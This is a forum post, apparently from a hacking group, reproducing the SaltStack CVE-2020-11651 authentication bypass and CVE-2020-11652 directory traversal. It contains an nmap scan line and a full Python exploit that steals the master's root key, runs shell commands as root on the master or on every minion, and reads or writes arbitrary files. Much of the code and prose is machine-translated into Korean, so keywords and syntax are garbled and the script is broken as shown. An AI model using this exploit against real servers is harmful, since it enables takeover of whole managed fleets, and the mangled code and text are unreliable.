KoreanHackerTeam
Moderator
SaltStack 远程命令执行漏洞复现(CVE-2020-11651)
SaltStack 简介
Saltstack은 Python을 기반으로 개발 된 C/S 아키텍처 구성 관리 도구 세트입니다. 서버 인프라를위한 중앙 집중식 관리 플랫폼입니다. 구성 관리, 원격 실행, 모니터링 및 기타 기능이 있습니다. 파이썬 언어를 기반으로 구현되며 경량 메시지 대기열 (ZeromQ) 및 Python Third-Party 모듈 (Pyzmq, Pycrypto, Pyjinjia2, Python-Msgpack 및 Pyyaml 등)으로 구축됩니다.소금은 서버 상태를 모니터링하고 업데이트하는 데 사용됩니다. 각 서버는 마스터 호스트 인 Salt Installer에 연결되는 Minion이라는 에이전트를 실행하여 미니온에서 상태 보고서를 수집하고 미니온이 작업을 수행 할 수있는 업데이트 메시지를 게시합니다. 일반적으로 이러한 메시지는 선택한 서버 구성에 대한 업데이트이지만 여러 (또는 모든) 관리 시스템에서 동일한 명령을 병렬로 실행하는 데 사용할 수도 있습니다.
SALT의 기본 통신 프로토콜은 Zeromq입니다. 기본 서버는 요청 서버라고하는 두 개의 ZeromQ 인스턴스를 노출 시키며, 여기서 미니언은 해당 상태 (또는 명령 출력)를보고하기 위해 연결할 수 있고 다른 하나는 게시 서버라고하며 기본 서버가 이러한 메시지에 연결하고 구독 할 수 있습니다.
漏洞详情
影响版本
Saltstack 2019.2.4 Saltstack 3000.2漏洞细节
身份验证绕过漏洞(CVE-2020-11651)
ClearFuncs 클래스는 승인을 처리 할 때 _Send_Pub () 메소드를 제한하지 않습니다. 이 방법은 대기열 메시지를 직접 게시 할 수 있습니다. 게시 된 메시지는 루트 아이덴티티 권한을 통해 명령을 실행합니다. Clearfuncs는 또한 루트 키를 얻을 수있는 _prep_auth_info () 메소드를 노출시키고, 획득 된 루트 키는 기본 서비스에서 명령을 원격으로 호출하는 데 사용될 수 있습니다.目录遍历漏洞(CVE-2020-11652)
Well 모듈에는 특정 디렉토리에 파일을 읽고 쓰는 명령이 포함되어 있습니다. 기능에 입력 된 정보는 디렉토리 제한을 우회하기 위해 디렉토리와 함께 스 플라이싱됩니다.salt.tokens.localfs 클래스의 get_token () 메소드 (허가없이 ClearFuncs 클래스에서 호출 가능)는 입력 된 매개 변수를 삭제할 수 없으며 파일 이름으로 사용됩니다. 대상 디렉토리 외부의 파일은 스 플라이 싱으로 경로에서 읽습니다. 유일한 제한은 salt.payload.serial.loads ()를 통해 파일을 사로화해야한다는 것입니다.
漏洞复现
nmap 探测端口
1NMAP -SV -P 4504,4506 IP

exp
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196 년
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3
Argparse 가져 오기
DateTime 가져 오기
OS 가져 오기
수입 PIP
SYS 가져 오기
경고 수입
DEF 설치 (패키지) :
hasattr (pip, 'main') :
pip.main ([ 'install', package])
else:
pip._internal.main ([ 'install', package])
try:
소금 수입
소금. 버전
Salt.Transport.Client를 가져 오십시오
소금을 가져 오십시오
:을 제외하고
설치 ( '배포판')
설치 ( '소금')
DEF PING (채널) :
메시지={
'cmd':'ping'
}
try:
응답=channel.send (메시지, 타임 아웃=5)
반응 : 인 경우
진실을 반환하십시오
salt.exceptions.saltreqtimeouterror:을 제외하고
통과하다
거짓을 반환하십시오
def get_rootkey (채널) :
메시지={
'cmd': '_prep_auth_info'
}
try:
응답=channel.send (메시지, 타임 아웃=5)
응답 :
Isinstance (I, Dict) 및 Len (I)==1: 인 경우
rootkey=list (i.values ()) [0]
rootkey를 반환합니다
:을 제외하고
통과하다
거짓을 반환하십시오
DEF MINION (채널, 명령) :
메시지={
'cmd':'_send_pub ',
'fun':'cmd.run ',
'Arg': ['/bin/sh -c \ '{command} \' '],
'tgt':'*',
'ret':',
'tgt_type':'glob ',
'사용자 ':'루트 ',
'jid':'{0:%y%m%d%h%m%m%s%f} '. 형식 (datetime.datetime.utcnow ()),
'_stamp':'{0:%y-%m-%dt%h:%m:%S.%f} '. 형식 (datetime.datetime.utcnow ()).
}
try:
응답=channel.send (메시지, 타임 아웃=5)
응답이면==없음 :
진실을 반환하십시오
:을 제외하고
통과하다
거짓을 반환하십시오
DEF 마스터 (채널, 키, 명령) :
메시지={
'key': 키,
'cmd':'러너 ',
'fun':'salt.cmd ',
'kwarg': {
'fun':'cmd.exec_code ',
'lang':'python3 ',
'Code': F'import 하위 프로세스; 하위 프로세스 (\'{command} \ ', shell=true)' '
},
'사용자 ':'루트 ',
'jid':'{0:%y%m%d%h%m%m%s%f} '. 형식 (datetime.datetime.utcnow ()),
'_stamp':'{0:%y-%m-%dt%h:%m:%S.%f} '. 형식 (datetime.datetime.utcnow ()).
}
try:
응답=channel.send (메시지, 타임 아웃=5)
log ( '[] 응답 :' + str (응답))
:을 제외하고
거짓을 반환하십시오
DEF 다운로드 (채널, 키, SRC, DEST) :
메시지={
'key': 키,
'cmd':'휠 ',
'fun':'file_roots.read ',
'Path': Path,
'Saltenv':'Base ',
}
try:
응답=channel.send (메시지, 타임 아웃=5)
data=response [ 'data'] [ 'return'] [0] [path]
O:으로 Open (Dest, 'WB')
O.Write (데이터)
진실을 반환하십시오
:을 제외하고
거짓을 반환하십시오
DEF 업로드 (채널, 키, SRC, DEST) :
try:
S:으로 Open (SRC, 'RB')
data=s.read ()
E:으로 예외를 제외하고
print (f '[]] {src} : {e}'를 읽지 못했습니다.
거짓을 반환하십시오
메시지={
'key': 키,
'cmd':'휠 ',
'fun':'file_roots.write ',
'Saltenv':'Base ',
'data': 데이터,
'Path': Dest,
}
try:
응답=channel.send (메시지, 타임 아웃=5)
진실을 반환하십시오
:을 제외하고
거짓을 반환하십시오
def log (메시지) :
아르가 아닌 경우 Quiet:
인쇄 (메시지)
__name __=='__ main __': 인 경우
경고 .filterwarnings ( '무시')
desc='CVE-2020-11651 POC'
Parser=argparse.argumentparser (description=desc)
parser.add_argument ( '-host', '-t', dest='mas
parser.add_argument ( '-port', '-p', dest='mas
parser.add_argument ( '-execute', '-e', dest='command', default='/bin/sh', help='help='execute. defaul:/bin/sh ', 필수=false)
parser.add_argument ( '-Upload', '-u', dest='upload', nargs=2, metavar=( 'src', 'dest'), help='파일 업로드', 필수=false)
parser.add_argument ( '-download', '-d', dest='download', nargs=2, metavar=( 'src', 'dest'), help='파일 다운로드', 필수=false)
parser.add_argument ( '-미니언', dest='미니언', default=false, action='store_true', help='마스터의 모든 미니언에게 명령을 보내기', 필수=거짓)
parser.add_argument ( '-Quiet', '-q', dest='Quiet='Quiet ', default=false='store_true ', help='조용한/사일런트 모드 활성화 ', 필수=거짓)
parser.add_argument ( '-fetch-key-only', dest='fetchkeyonly', default=false, action='store_true', help='키를 가져 오기', 필수=false)
args=parser.parse_args ()
minion_config={
'운송 ':'Zeromq ',
'pki_dir':'/tmp ',
'ID':'루트 ',
'log_level':'디버그 ',
'master_ip': args.master_host,
'master_port': Args.master_port,
'auth_timeout': 5,
'Auth_tries ': 1,
'master_uri': f'tcp: //{args.mas
}
clear_channel=salt.transport.client.reqchannel.factory (minion_config, crypt='clear')
log (f '[+] 핑 시도 {args.master_host}')
핑이 아닌 경우 (CLEAR_CHANNAL) :
log ( '[-] 마스터를 핑하지 못했습니다')
로그 ( '[+] 종료')
sys.exit (1)
로그 ( '[+] 인스턴스에서 루트 키를 가져 오려는 시도.')
rootkey=get_rootkey (clear_channel)
루트 키가 아닌 경우 3:
로그 ( '[-]는 인스턴스에서 루트 키를 가져 오지 못했습니다.')
sys.exit (1)
log ( '[ +] 검색된 루트 키 키 :' + rootkey)
args.fetchkeyonly: 인 경우
sys.exit (1)
Args.upload: 인 경우
log (f '[+] {src}를 {dest}에 업로드하려는 Attemping))
업로드 (clear_channel, rootkey, args.upload [0], args.upload [1]) :
로그 ( '[+] 업로드 완료!')
else:
log ( '[-] 실패')
Args.Download: 인 경우
log (f '[+] {src}를 {dest}에 다운로드하려는 Attemping))
다운로드 (clear_channel, rootkey, args.download [0], args.download [1]) :
로그 ( '[+] 다운로드 완료!')
else:
log ( '[-] 실패')
Args.Minions: 인 경우
log ( '[+] 마스터의 모든 미니언들에게 명령을 보내려고 시도
미니언이 아닌 경우 (Clear_Channel, Command) :
log ( '[-] 실패')
else:
log ( '[+] 마스터에게 명령을 보내려고 시도)
마스터가 아닌 경우 (Clear_Channel, Rootkey, Command) :
log ( '[-] 실패')
漏洞利用
취약성이 있는지 여부를 감지하려면 루트 키 읽기 :
디렉토리 트래버스

명령 실행
